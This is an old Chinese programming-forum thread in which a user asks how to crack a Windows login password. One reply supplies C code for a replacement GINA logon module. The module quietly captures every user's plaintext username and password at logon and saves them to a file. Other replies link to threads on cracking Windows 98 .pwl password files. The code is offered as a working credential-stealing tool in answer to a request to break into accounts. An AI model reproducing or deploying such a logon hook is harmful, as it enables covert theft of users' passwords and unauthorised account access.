如何解Windows登陆密码?

wooingcn 2001-04-13 08:51:00
...全文
125 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
wooingcn 2001-04-16
  • 打赏
  • 举报
回复
谢谢大伙捧场,给分了
wooingcn 2001-04-13
  • 打赏
  • 举报
回复
谢谢panda_w(好想睡啊!)捧场,大伙有没有98的,虽然98里可以把密码删去,但这次我要解了它。
panda_w 2001-04-13
  • 打赏
  • 举报
回复
贴一段:
6:怎样得到NT用户的密码

Microsoft actually document how to do this (it's a common requirement for programs which need to log into a database using the users own security credentials).

Look at the GINASTUB sample which comes with the Win32 Platform SDK. Essentially, the technique consists of replacing the default GINA with your own, then having your GINA LoadLibrary the default one and call its entry points as required, grabbing the data as it flies past. I have reproduced the important function here, with my own code added for saving the username and password to a file in ANSI format.

int WINAPI WlxLoggedOutSAS (PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
HANDLE hFile ;
DWORD dwBytesWrit ;
TCHAR szBuffer [130];
TCHAR szUserName [64];
TCHAR szPassword [64];

iRet = GWlxLoggedOutSAS (pWlxContext,
dwSasType,
pAuthenticationId,
pLogonSid,
pdwOptions,
phToken,
pMprNotifyInfo,
pProfile);

if (iRet == WLX_SAS_ACTION_LOGON)
{
WideCharToMultiByte (CP_ACP, 0,
pMprNotifyInfo->pszUserName,
-1,
szUserName,
sizeof (szUserName),
NULL, NULL);

WideCharToMultiByte (CP_ACP, 0,
pMprNotifyInfo->pszPassword,
-1,
szPassword,
sizeof (szPassword),
NULL, NULL);

wsprintf (szBuffer, "%s,%s\n",
szUserName,
szPassword);

< insert code here to encrypt the data in szBuffer >

hFile = CreateFile (< Some unique filename in a fixed location >,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (hFile != INVALID_HANDLE_VALUE)
{
WriteFile (hFile,
(LPCVOID)(szBuffer),
(DWORD)(strlen (szBuffer)),
&dwBytesWrit,
NULL);
CloseHandle (hFile);
}
}
return iRet;
}
binghuodao 2001-04-13
  • 打赏
  • 举报
回复
够牛的,没安全感了
111222 2001-04-13
  • 打赏
  • 举报
回复
http://www.csdn.net/expert/Topic/49/49191.shtm
主  题:如何破解windows's *.pwl密码??
http://www.csdn.net/expert/Topic/5/5173.shtm
主  题:谁能给我查看.pwl文件口令的原代码和查看编辑控件中的'**'的功能的原代码?
111222 2001-04-13
  • 打赏
  • 举报
回复
http://www.csdn.net/expert/Topic/53/53731.shtm

16,551

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Creator Browser
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧